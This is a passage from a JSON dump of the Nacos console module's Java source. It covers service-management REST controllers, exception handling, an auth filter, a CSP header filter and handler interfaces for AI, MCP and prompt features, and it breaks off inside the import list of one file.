com.alibaba.nacos.naming.constants.Constants.MIN_WEIGHT_VALUE) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.WEIGHT_ERROR,\n                    \"instance format invalid: The weights range from \"\n                            + com.alibaba.nacos.naming.constants.Constants.MIN_WEIGHT_VALUE + \" to \"\n                            + com.alibaba.nacos.naming.constants.Constants.MAX_WEIGHT_VALUE);\n        }\n    }\n    \n    private Instance buildInstance(InstanceForm instanceForm) throws NacosException {\n        Instance instance = InstanceBuilder.newBuilder().setServiceName(buildCompositeServiceName(instanceForm))\n                .setIp(instanceForm.getIp()).setClusterName(instanceForm.getClusterName())\n                .setPort(instanceForm.getPort()).setHealthy(instanceForm.getHealthy())\n                .setWeight(instanceForm.getWeight()).setEnabled(instanceForm.getEnabled())\n                .setMetadata(UtilsAndCommons.parseMetadata(instanceForm.getMetadata()))\n                .setEphemeral(instanceForm.getEphemeral()).build();\n        if (instanceForm.getEphemeral() == null) {\n            // register instance by console default is persistent instance.\n            instance.setEphemeral(false);\n        }\n        return instance;\n    }\n    \n    private String buildCompositeServiceName(InstanceForm instanceForm) {\n        return NamingUtils.getGroupedName(instanceForm.getServiceName(), instanceForm.getGroupName());\n    }\n    \n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/naming/ConsoleServiceController.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.controller.v3.naming;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.HealthCheckerFactory;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.ServiceDetailInfo;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.SubscriberInfo;\nimport com.alibaba.nacos.api.selector.Selector;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.console.proxy.naming.ServiceProxy;\nimport com.alibaba.nacos.core.control.TpsControl;\nimport com.alibaba.nacos.core.model.form.AggregationForm;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata;\nimport com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;\nimport com.alibaba.nacos.naming.misc.UtilsAndCommons;\nimport com.alibaba.nacos.naming.model.form.ServiceForm;\nimport com.alibaba.nacos.naming.model.form.ServiceListForm;\nimport com.alibaba.nacos.naming.model.form.UpdateClusterForm;\nimport com.alibaba.nacos.naming.paramcheck.NamingDefaultHttpParamExtractor;\nimport com.alibaba.nacos.naming.selector.NoneSelector;\nimport com.alibaba.nacos.naming.selector.SelectorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.Constants;\nimport com.fasterxml.jackson.databind.JsonNode;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.net.URLDecoder;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.Optional;\n\n/**\n * Controller for handling HTTP requests related to service operations.\n *\n * @author zhangyukun on:2024/8/16\n */\n@NacosApi\n@RestController\n@RequestMapping(\"/v3/console/ns/service\")\n@ExtractorManager.Extractor(httpExtractor = NamingDefaultHttpParamExtractor.class)\npublic class ConsoleServiceController {\n    \n    private final ServiceProxy serviceProxy;\n    \n    private final SelectorManager selectorManager;\n    \n    public ConsoleServiceController(ServiceProxy serviceProxy, SelectorManager selectorManager) {\n        this.serviceProxy = serviceProxy;\n        this.selectorManager = selectorManager;\n    }\n    \n    /**\n     * Create a new service. This API will create a persistence service.\n     */\n    @PostMapping()\n    @TpsControl(pointName = \"NamingServiceRegister\", name = \"HttpNamingServiceRegister\")\n    @Secured(action = ActionTypes.WRITE, apiType = ApiType.CONSOLE_API)\n    public Result<String> createService(ServiceForm serviceForm) throws Exception {\n        serviceForm.validate();\n        ServiceMetadata serviceMetadata = new ServiceMetadata();\n        serviceMetadata.setProtectThreshold(serviceForm.getProtectThreshold());\n        serviceMetadata.setSelector(parseSelector(serviceForm.getSelector()));\n        serviceMetadata.setExtendData(UtilsAndCommons.parseMetadata(serviceForm.getMetadata()));\n        serviceMetadata.setEphemeral(serviceForm.getEphemeral());\n        \n        serviceProxy.createService(serviceForm, serviceMetadata);\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * Remove service.\n     */\n    @DeleteMapping()\n    @TpsControl(pointName = \"NamingServiceDeregister\", name = \"HttpNamingServiceDeregister\")\n    @Secured(action = ActionTypes.WRITE, apiType = ApiType.CONSOLE_API)\n    public Result<String> deleteService(ServiceForm serviceForm) throws Exception {\n        serviceForm.validate();\n        serviceProxy.deleteService(serviceForm.getNamespaceId(), serviceForm.getServiceName(),\n                serviceForm.getGroupName());\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * Update service.\n     */\n    @PutMapping()\n    @TpsControl(pointName = \"NamingServiceUpdate\", name = \"HttpNamingServiceUpdate\")\n    @Secured(action = ActionTypes.WRITE, apiType = ApiType.CONSOLE_API)\n    public Result<String> updateService(ServiceForm serviceForm) throws Exception {\n        serviceForm.validate();\n        Map<String, String> metadata = UtilsAndCommons.parseMetadata(serviceForm.getMetadata());\n        ServiceMetadata serviceMetadata = new ServiceMetadata();\n        serviceMetadata.setProtectThreshold(serviceForm.getProtectThreshold());\n        serviceMetadata.setExtendData(metadata);\n        serviceMetadata.setSelector(parseSelector(serviceForm.getSelector()));\n        serviceProxy.updateService(serviceForm, serviceMetadata);\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * Get all {@link Selector} types.\n     *\n     * @return {@link Selector} types.\n     */\n    @GetMapping(\"/selector/types\")\n    @Secured(resource = Constants.Resource.CONSOLE_RESOURCE_NAME_PREFIX\n            + \"naming\", action = ActionTypes.READ, apiType = ApiType.CONSOLE_API, tags = Constants.Tag.ONLY_IDENTITY)\n    public Result<List<String>> getSelectorTypeList() throws NacosException {\n        return Result.success(serviceProxy.getSelectorTypeList());\n    }\n    \n    /**\n     * get subscriber list.\n     *\n     * @param serviceForm     service form data\n     * @param pageForm        page form data\n     * @param aggregationForm whether aggregation form data\n     * @return subscribes result data.\n     * @throws Exception any exception during get subscriber list.\n     */\n    @GetMapping(\"/subscribers\")\n    @Secured(action = ActionTypes.READ, apiType = ApiType.CONSOLE_API)\n    public Result<Page<SubscriberInfo>> subscribers(ServiceForm serviceForm, PageForm pageForm,\n            AggregationForm aggregationForm) throws Exception {\n        serviceForm.validate();\n        pageForm.validate();\n        int pageNo = pageForm.getPageNo();\n        int pageSize = pageForm.getPageSize();\n        String namespaceId = serviceForm.getNamespaceId();\n        String serviceName = serviceForm.getServiceName();\n        String groupName = serviceForm.getGroupName();\n        boolean aggregation = aggregationForm.isAggregation();\n        Page<SubscriberInfo> subscribers = serviceProxy.getSubscribers(pageNo, pageSize, namespaceId, serviceName,\n                groupName, aggregation);\n        return Result.success(subscribers);\n    }\n    \n    /**\n     * List service detail information.\n     *\n     * @param serviceListForm service list form\n     * @param pageForm        page form\n     * @return list service detail, depend on withInstances parameters, return ServiceDetailInfo or ServiceView.\n     */\n    @Secured(action = ActionTypes.READ, apiType = ApiType.CONSOLE_API)\n    @GetMapping(\"/list\")\n    public Result<Object> getServiceList(ServiceListForm serviceListForm, PageForm pageForm) throws NacosException {\n        serviceListForm.validate();\n        pageForm.validate();\n        String namespaceId = serviceListForm.getNamespaceId();\n        String serviceName = serviceListForm.getServiceNameParam();\n        String groupName = serviceListForm.getGroupNameParam();\n        boolean hasIpCount = serviceListForm.isIgnoreEmptyService();\n        boolean withInstances = serviceListForm.isWithInstances();\n        return Result.success(\n                serviceProxy.getServiceList(withInstances, namespaceId, pageForm.getPageNo(), pageForm.getPageSize(),\n                        serviceName, groupName, hasIpCount));\n    }\n    \n    /**\n     * Get service detail.\n     *\n     * @param serviceForm service form data\n     * @return service detail information\n     * @throws NacosException nacos exception\n     */\n    @Secured(action = ActionTypes.READ, apiType = ApiType.CONSOLE_API)\n    @GetMapping()\n    public Result<ServiceDetailInfo> getServiceDetail(ServiceForm serviceForm) throws NacosException {\n        serviceForm.validate();\n        ServiceDetailInfo result = serviceProxy.getServiceDetail(serviceForm.getNamespaceId(),\n                serviceForm.getServiceName(), serviceForm.getGroupName());\n        return Result.success(result);\n    }\n    \n    /**\n     * Update cluster.\n     *\n     * @param updateClusterForm update cluster form.\n     * @return 'ok' if success\n     * @throws Exception if failed\n     */\n    @PutMapping(\"/cluster\")\n    @Secured(action = ActionTypes.WRITE, apiType = ApiType.CONSOLE_API)\n    public Result<String> updateCluster(UpdateClusterForm updateClusterForm) throws Exception {\n        updateClusterForm.validate();\n        final String namespaceId = updateClusterForm.getNamespaceId();\n        final String clusterName = updateClusterForm.getClusterName();\n        final String serviceName = updateClusterForm.getServiceName();\n        final String groupName = updateClusterForm.getGroupName();\n        ClusterMetadata clusterMetadata = new ClusterMetadata();\n        clusterMetadata.setHealthyCheckPort(updateClusterForm.getCheckPort());\n        clusterMetadata.setUseInstancePortForCheck(updateClusterForm.isUseInstancePort4Check());\n        AbstractHealthChecker healthChecker = HealthCheckerFactory.deserialize(updateClusterForm.getHealthChecker());\n        clusterMetadata.setHealthChecker(healthChecker);\n        clusterMetadata.setHealthyCheckType(healthChecker.getType());\n        clusterMetadata.setExtendData(UtilsAndCommons.parseMetadata(updateClusterForm.getMetadata()));\n        serviceProxy.updateClusterMetadata(namespaceId, groupName, serviceName, clusterName, clusterMetadata);\n        return Result.success(\"ok\");\n    }\n    \n    private Selector parseSelector(String selectorJsonString) throws Exception {\n        if (StringUtils.isBlank(selectorJsonString)) {\n            return new NoneSelector();\n        }\n        \n        JsonNode selectorJson = JacksonUtils.toObj(URLDecoder.decode(selectorJsonString, \"UTF-8\"));\n        String type = Optional.ofNullable(selectorJson.get(\"type\")).orElseThrow(\n                () -> new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.SELECTOR_ERROR,\n                        \"not match any type of selector!\")).asText();\n        String expression = Optional.ofNullable(selectorJson.get(\"expression\")).map(JsonNode::asText).orElse(null);\n        Selector selector = selectorManager.parseSelector(type, expression);\n        if (Objects.isNull(selector)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.SELECTOR_ERROR,\n                    \"not match any type of selector!\");\n        }\n        return selector;\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/exception/ConsoleExceptionHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.exception;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.plugin.auth.exception.AccessException;\nimport com.alibaba.nacos.common.model.RestResultUtils;\nimport com.alibaba.nacos.common.utils.ExceptionUtil;\nimport com.alibaba.nacos.core.utils.Commons;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.ControllerAdvice;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.util.HtmlUtils;\n\nimport jakarta.servlet.http.HttpServletRequest;\n\n/**\n * Exception handler for console module.\n *\n * @author nkorange\n * @since 1.2.0\n */\n@ControllerAdvice\npublic class ConsoleExceptionHandler {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConsoleExceptionHandler.class);\n    \n    @ExceptionHandler(AccessException.class)\n    private ResponseEntity<String> handleAccessException(AccessException e) {\n        LOGGER.error(\"got exception. {}\", e.getErrMsg());\n        return ResponseEntity.status(HttpStatus.FORBIDDEN).body(e.getErrMsg());\n    }\n    \n    @ExceptionHandler(IllegalArgumentException.class)\n    private ResponseEntity<String> handleIllegalArgumentException(IllegalArgumentException e) {\n        return ResponseEntity.status(HttpStatus.BAD_REQUEST).body(ExceptionUtil.getAllExceptionMsg(e));\n    }\n\n    @ExceptionHandler(NacosRuntimeException.class)\n    private ResponseEntity<String> handleNacosRuntimeException(NacosRuntimeException e) {\n        LOGGER.error(\"got exception. {}\", e.getMessage());\n        return ResponseEntity.status(e.getErrCode()).body(ExceptionUtil.getAllExceptionMsg(e));\n    }\n    \n    @ExceptionHandler(Exception.class)\n    private ResponseEntity<Object> handleException(HttpServletRequest request, Exception e) {\n        String uri = request.getRequestURI();\n        LOGGER.error(\"CONSOLE {}\", uri, e);\n        if (uri.contains(Commons.NACOS_SERVER_VERSION_V2)) {\n            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)\n                    .body(RestResultUtils.failed(HtmlUtils.htmlEscape(ExceptionUtil.getAllExceptionMsg(e), \"utf-8\")));\n        }\n        return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)\n                .body(HtmlUtils.htmlEscape(ExceptionUtil.getAllExceptionMsg(e), \"utf-8\"));\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/filter/NacosConsoleAuthFilter.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.filter;\n\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.auth.serveridentity.ServerIdentityResult;\nimport com.alibaba.nacos.core.auth.AbstractWebAuthFilter;\nimport com.alibaba.nacos.core.code.ControllerMethodsCache;\nimport jakarta.servlet.http.HttpServletRequest;\n\n/**\n * Nacos Console web auth filter.\n *\n * @author xiweng.yy\n */\npublic class NacosConsoleAuthFilter extends AbstractWebAuthFilter {\n    \n    private final NacosAuthConfig authConfig;\n    \n    public NacosConsoleAuthFilter(NacosAuthConfig authConfig, ControllerMethodsCache methodsCache) {\n        super(authConfig, methodsCache);\n        this.authConfig = authConfig;\n    }\n    \n    @Override\n    protected boolean isAuthEnabled() {\n        return authConfig.isAuthEnabled();\n    }\n    \n    @Override\n    protected ServerIdentityResult checkServerIdentity(HttpServletRequest request, Secured secured) {\n        return ServerIdentityResult.noMatched();\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/filter/XssFilter.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.filter;\n\nimport org.springframework.web.filter.OncePerRequestFilter;\n\nimport jakarta.servlet.FilterChain;\nimport jakarta.servlet.ServletException;\nimport jakarta.servlet.http.HttpServletRequest;\nimport jakarta.servlet.http.HttpServletResponse;\nimport java.io.IOException;\n\n/**\n * XSS filter.\n * @author onewe\n */\npublic class XssFilter extends OncePerRequestFilter {\n    \n    private static final String CONTENT_SECURITY_POLICY_HEADER = \"Content-Security-Policy\";\n    \n    private static final String CONTENT_SECURITY_POLICY = \"script-src 'self'\";\n    \n    @Override\n    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)\n            throws ServletException, IOException {\n        \n        response.setHeader(CONTENT_SECURITY_POLICY_HEADER, CONTENT_SECURITY_POLICY);\n        filterChain.doFilter(request, response);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/HealthHandler.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.handler;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.v2.Result;\n\n/**\n * Interface for handling health check operations.\n *\n * @author zhangyukun\n */\npublic interface HealthHandler {\n    \n    /**\n     * Perform readiness check to determine if Nacos is ready to handle requests.\n     *\n     * @return readiness result\n     * @throws NacosException if an error occurs during readiness check\n     */\n    Result<String> checkReadiness() throws NacosException;\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/ServerStateHandler.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.handler;\n\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.util.Map;\n\n/**\n * Interface for handling server state operations.\n *\n * @author zhangyukun\n */\npublic interface ServerStateHandler {\n    \n    /**\n     * Get the current state of the server.\n     *\n     * @return a map containing the server state\n     * @throws NacosException if an error occurs while retrieving the server state\n     */\n    Map<String, String> getServerState() throws NacosException;\n    \n    /**\n     * Get the announcement content based on the language.\n     *\n     * @param language the language for the announcement\n     * @return the announcement content\n     */\n    String getAnnouncement(String language);\n    \n    /**\n     * Get the console UI guide information.\n     *\n     * @return the console UI guide information\n     */\n    String getConsoleUiGuide();\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/ai/A2aHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.handler.ai;\n\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardUpdateForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentListForm;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardVersionInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentVersionDetail;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.core.model.form.PageForm;\n\nimport java.util.List;\n\n/**\n * A2a handler.\n *\n * @author KiteSoar\n */\npublic interface A2aHandler {\n    \n    /**\n     * Register agent.\n     *\n     * @param agentCard     registered Agent Card\n     * @param agentCardForm agent card form\n     * @throws NacosException nacos exception\n     */\n    void registerAgent(AgentCard agentCard, AgentCardForm agentCardForm) throws NacosException;\n    \n    /**\n     * Get agent card with versions.\n     *\n     * @param form agent form\n     * @return agent card\n     * @throws NacosException nacos exception\n     */\n    AgentCardDetailInfo getAgentCardWithVersions(AgentForm form) throws NacosException;\n    \n    /**\n     * Delete agent.\n     *\n     * @param form agent form\n     * @throws NacosException nacos exception\n     */\n    void deleteAgent(AgentForm form) throws NacosException;\n    \n    /**\n     * Update agent card.\n     *\n     * @param agentCard agent card to updated\n     * @param form      agent update form\n     * @throws NacosException nacos exception\n     */\n    void updateAgentCard(AgentCard agentCard, AgentCardUpdateForm form) throws NacosException;\n\n    /**\n     * List agents.\n     *\n     * @param agentListForm agent list form\n     * @param pageForm page form\n     * @return agent card list\n     * @throws NacosException nacos exception\n     */\n    Page<AgentCardVersionInfo> listAgents(AgentListForm agentListForm, PageForm pageForm) throws NacosException;\n    \n    /**\n     * List agent versions.\n     * @param namespaceId namespace id of target agent\n     * @param name        name of target agent\n     * @return agent version detail list\n     * @throws NacosException nacos exception\n     */\n    List<AgentVersionDetail> listAgentVersions(String namespaceId, String name) throws NacosException;\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/ai/EnabledAiHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.ai;\n\nimport com.alibaba.nacos.ai.config.AiEnabledFilter;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * Using Inner handler to handle console API request.\n *\n * @author xiweng.yy\n */\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\n@ConditionalOnProperty(value = AiEnabledFilter.AI_ENABLED_KEY, havingValue = \"true\", matchIfMissing = true)\npublic @interface EnabledAiHandler {\n\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/ai/McpHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.ai;\n\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportRequest;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportResponse;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportValidationResult;\nimport com.alibaba.nacos.api.ai.model.mcp.McpTool;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\n\n/**\n * Actual Handler class for handling AI MCP operations.\n *\n * @author xiweng.yy\n */\npublic interface McpHandler {\n    \n    /**\n     * List mcp server.\n     *\n     * @param namespaceId namespace id of mcp servers\n     * @param mcpName     mcp name pattern, if null or empty, filter all mcp servers.\n     * @param search      search type `blur` or `accurate`, means whether to search by fuzzy or exact match by\n     *                    `mcpName`.\n     * @param pageNo      page number, start from 1\n     * @param pageSize    page size each page\n     * @return list of {@link McpServerBasicInfo} matched input parameters.\n     * @throws NacosException any exception during handling\n     */\n    Page<McpServerBasicInfo> listMcpServers(String namespaceId, String mcpName, String search, int pageNo, int pageSize)\n            throws NacosException;\n    \n    /**\n     * Get specified mcp server detail info.\n     *\n     * @param namespaceId namespace id of mcp server\n     * @param mcpName     name of mcp server\n     * @param mcpId       id of mcp server\n     * @param version     version of the mcp server\n     * @return detail info with {@link McpServerDetailInfo}\n     * @throws NacosException any exception during handling\n     */\n    McpServerDetailInfo getMcpServer(String namespaceId, String mcpName, String mcpId, String version) throws NacosException;\n    \n    /**\n     * Create new mcp server.\n     *\n     * @param namespaceId           namespace id of mcp server\n     * @param serverSpecification   mcp server specification, see {@link McpServerBasicInfo}\n     * @param toolSpecification     mcp server included tools, see {@link McpTool}, optional\n     * @param endpointSpecification mcp server endpoint specification, see {@link McpEndpointSpec}, optional\n     * @return mcp server id of the new mcp server\n     * @throws NacosException any exception during handling\n     */\n    String createMcpServer(String namespaceId, McpServerBasicInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification) throws NacosException;\n    \n    /**\n     * Update existed mcp server.\n     *\n     * <p>\n     * `namespaceId` and `mcpName` can't be changed.\n     * </p>\n     *\n     * @param namespaceId           namespace id of mcp server, used to mark which mcp server to update\n     * @param isPublish             publish the current version to latest\n     * @param serverSpecification   mcp server specification, see {@link McpServerBasicInfo}\n     * @param toolSpecification     mcp server included tools, see {@link McpTool}, optional\n     * @param endpointSpecification mcp server endpoint specification, see {@link McpEndpointSpec}, optional\n     * @param overrideExisting      if replace all the instances when update the mcp server\n     * @throws NacosException any exception during handling\n     */\n    void updateMcpServer(String namespaceId, boolean isPublish, McpServerBasicInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification, boolean overrideExisting) throws NacosException;\n    \n    /**\n     * Delete existed mcp server.\n     *\n     * @param namespaceId namespace id of mcp server\n     * @param mcpId       id of the mcp server\n     * @param version     version of the mcp server\n     * @param mcpName     name of mcp server\n     * @throws NacosException any exception during handling\n     */\n    void deleteMcpServer(String namespaceId, String mcpName, String mcpId, String version) throws NacosException;\n    \n    /**\n     * Validate MCP server import request.\n     *\n     * @param namespaceId namespace id for mcp servers\n     * @param request     import request containing data and settings\n     * @return validation result with details about potential issues\n     * @throws NacosException any exception during validation\n     */\n    McpServerImportValidationResult validateImport(String namespaceId, McpServerImportRequest request) throws NacosException;\n    \n    /**\n     * Execute MCP server import operation.\n     *\n     * @param namespaceId namespace id for mcp servers\n     * @param request     import request containing data and settings\n     * @return import response with results and statistics\n     * @throws NacosException any exception during import execution\n     */\n    McpServerImportResponse executeImport(String namespaceId, McpServerImportRequest request) throws NacosException;\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/ai/PromptHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.ai;\n\nimport com.alibaba.nacos.ai.form.prompt.PromptForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptHistoryForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelBindForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptListForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptMetadataForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptPublishForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptQueryForm;\nimport 